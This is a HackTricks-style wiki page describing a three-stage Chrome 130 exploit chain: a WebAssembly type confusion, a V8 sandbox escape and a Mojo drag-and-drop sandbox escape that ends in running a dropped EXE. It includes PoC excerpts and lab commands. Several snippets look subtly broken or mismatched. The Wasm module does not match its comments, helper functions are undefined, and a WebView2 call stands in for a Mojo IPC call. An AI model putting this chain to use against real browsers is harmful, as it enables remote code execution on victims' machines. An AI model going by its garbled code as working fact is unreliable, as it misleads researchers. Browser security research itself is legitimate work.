Chrome Exploiting

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

This page provides a high-level yet practical overview of a modern "full-chain" exploitation workflow against Google Chrome 130 based on the research series “101 Chrome Exploitation” (Part-0 — Preface).
The goal is to give pentesters and exploit-developers the minimum background necessary to reproduce or adapt the techniques for their own research.

1. Chrome Architecture Recap

Understanding the attack surface requires knowing where code is executed and which sandboxes apply.

+-------------------------------------------------------------------------+
|                             Chrome Browser                              |
|                                                                         |
|  +----------------------------+      +-----------------------------+    |
|  |      Renderer Process      |      |    Browser/main Process     |    |
|  |  [No direct OS access]     |      |  [OS access]                |    |
|  |  +----------------------+   |      |                             |    |
|  |  |    V8 Sandbox        |   |      |                             |    |
|  |  |  [JavaScript / Wasm] |   |      |                             |    |
|  |  +----------------------+   |      |                             |    |
|  +----------------------------+      +-----------------------------+    |
|               |           IPC/Mojo              |                       |
|               V                                    |                     |
|  +----------------------------+                   |                     |
|  |        GPU Process         |                   |                     |
|  |  [Restricted OS access]    |                   |                     |
|  +----------------------------+                   |                     |
+-------------------------------------------------------------------------+

Layered defence-in-depth:

  • V8 sandbox (Isolate): memory permissions are restricted to prevent arbitrary read/write from JITed JS / Wasm.
  • Renderer ↔ Browser split ensured via Mojo/IPC message passing; the renderer has no native FS/network access.
  • OS sandboxes further contain each process (Windows Integrity Levels / seccomp-bpf / macOS sandbox profiles).

A remote attacker therefore needs three successive primitives:

  1. Memory corruption inside V8 to get arbitrary RW inside the V8 heap.
  2. A second bug allowing the attacker to escape the V8 sandbox to full renderer memory.
  3. A final sandbox-escape (often logic rather than memory corruption) to execute code outside of the Chrome OS sandbox.

2. Stage 1 – WebAssembly Type-Confusion (CVE-2025-0291)

A flaw in TurboFan’s Turboshaft optimisation mis-classifies WasmGC reference types when the value is produced and consumed inside a single basic block loop.

Effect:

  • The compiler skips the type-check, treating a reference (externref/anyref) as an int64.
  • Crafted Wasm allows overlapping a JS object header with attacker-controlled data → addrOf() & fakeObj() AAW / AAR primitives.

Minimal PoC (excerpt):

WebAssembly
(module
  (type $t0 (func (param externref) (result externref)))
  (func $f (param $p externref) (result externref)
    (local $l externref)
    block $exit
      loop $loop
        local.get $p      ;; value with real ref-type
        ;; compiler incorrectly re-uses it as int64 in the same block
        br_if $exit       ;; exit condition keeps us single-block
        br   $loop
      end
    end)
  (export "f" (func $f)))

Trigger optimisation & spray objects from JS:

js
const wasmMod = new WebAssembly.Module(bytes);
const wasmInst = new WebAssembly.Instance(wasmMod);
const f = wasmInst.exports.f;

for (let i = 0; i < 1e5; ++i) f({});   // warm-up for JIT

// primitives
let victim   = {m: 13.37};
let fake     = arbitrary_data_backed_typedarray;
let addrVict = addrOf(victim);

Outcome: arbitrary read/write within V8.


3. Stage 2 – Escaping the V8 Sandbox (issue 379140430)

When a Wasm function is tier-up-compiled, a JS ↔ Wasm wrapper is generated. A signature-mismatch bug causes the wrapper to write past the end of a trusted Tuple2 object when the Wasm function is re-optimised while still on the stack.

Overwriting the 2 × 64-bit fields of the Tuple2 object yields read/write on any address inside the Renderer process, effectively bypassing the V8 sandbox.

Key steps in exploit:

  1. Get function into Tier-Up state by alternating turbofan/baseline code.
  2. Trigger tier-up while keeping a reference on the stack (Function.prototype.apply).
  3. Use Stage-1 AAR/AAW to find & corrupt the adjacent Tuple2.

Wrapper identification:

js
function wrapperGen(arg) {
  return f(arg);
}
%WasmTierUpFunction(f);          // force tier-up (internals-only flag)
wrapperGen(0x1337n);

After corruption we possess a fully-featured renderer R/W primitive.


4. Stage 3 – Renderer → OS Sandbox Escape (CVE-2024-11114)

The Mojo IPC interface blink.mojom.DragService.startDragging() can be called from the Renderer with partially trusted parameters. By crafting a DragData structure pointing to an arbitrary file path the renderer convinces the browser to perform a native drag-and-drop outside the renderer sandbox.

Abusing this we can programmatically “drag” a malicious EXE (previously dropped in a world-writable location) onto the Desktop, where Windows automatically executes certain file-types once dropped.

Example (simplified):

js
const payloadPath = "C:\\Users\\Public\\explorer.exe";

chrome.webview.postMessage({
  type: "DragStart",
  data: {
    title: "MyFile",
    file_path: payloadPath,
    mime_type: "application/x-msdownload"
  }
});

No additional memory corruption is necessary – the logic flaw gives us arbitrary file execution with the user’s privileges.


5. Full Chain Flow

  1. User visits malicious webpage.
  2. Stage 1: Wasm module abuses CVE-2025-0291 → V8 heap AAR/AAW.
  3. Stage 2: Wrapper mismatch corrupts Tuple2 → escape V8 sandbox.
  4. Stage 3: startDragging() IPC → escape OS sandbox & execute payload.

Result: Remote Code Execution (RCE) on the host (Chrome 130, Windows/Linux/macOS).


6. Lab & Debugging Setup

bash
# Spin-up local HTTP server w/ PoCs
npm i -g http-server
git clone https://github.com/Petitoto/chromium-exploit-dev
cd chromium-exploit-dev
http-server -p 8000 -c -1

# Windows kernel debugging
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols

Useful flags when launching a development build of Chrome:

bash
chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"

Takeaways

  • WebAssembly JIT bugs remain a reliable entry-point – the type system is still young.
  • Obtaining a second memory-corruption bug inside V8 (e.g. wrapper mismatch) greatly simplifies V8-sandbox escape.
  • Logic-level weaknesses in privileged Mojo IPC interfaces are often sufficient for a final sandbox escape – keep an eye on non-memory bugs.

References

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks